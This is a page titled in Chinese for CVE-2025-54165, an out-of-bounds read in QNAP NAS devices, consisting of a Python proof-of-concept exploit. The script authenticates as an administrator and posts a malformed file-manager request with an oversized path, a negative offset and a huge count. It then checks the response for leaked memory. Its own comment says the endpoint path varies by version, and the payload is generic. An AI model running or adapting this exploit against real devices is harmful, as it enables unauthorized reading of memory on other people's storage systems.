CVE-2025-54165 QNAP NAS越界读取漏洞

# CVE-2025-54165 PoC - QNAP NAS Out-of-Bounds Read # Note: This PoC requires valid administrator credentials import requests import sys TARGET = "https://target-nas.local" USERNAME = "admin" PASSWORD = "admin_password" def exploit(): """Attempt to trigger OOB read via malformed API request""" session = requests.Session() # Step 1: Authenticate as administrator login_url = f"{TARGET}/cgi-bin/authLogin.cgi" auth_data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, data=auth_data, timeout=10) if resp.status_code != 200: print("[-] Authentication failed") return False print("[+] Authenticated successfully") # Step 2: Send crafted request to trigger OOB read # Target vulnerable endpoint (specific path varies by version) exploit_url = f"{TARGET}/cgi-bin/filemanager/utilRequest.cgi" # Malformed parameter designed to bypass boundary checks headers = { "Cookie": f"NAS_SID={session.cookies.get('NAS_SID')}", "Content-Type": "application/x-www-form-urlencoded" } # OOB read trigger payload payload = { "func": "get_file_list", "path": "A" * 10000, # Overflow input "offset": -1, # Negative offset triggers OOB read "count": 999999 } print("[*] Sending exploit payload...") resp = session.post(exploit_url, data=payload, headers=headers, timeout=30) # Step 3: Analyze response for leaked data if len(resp.content) > 50000: # Unusually large response may contain leaked memory print("[!] Potential data leak detected") print(f"[+] Response size: {len(resp.content)} bytes") # Log response for analysis (in real scenario) return True else: print("[-] No obvious leak detected") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-54165 QNAP OOB Read PoC") exploit()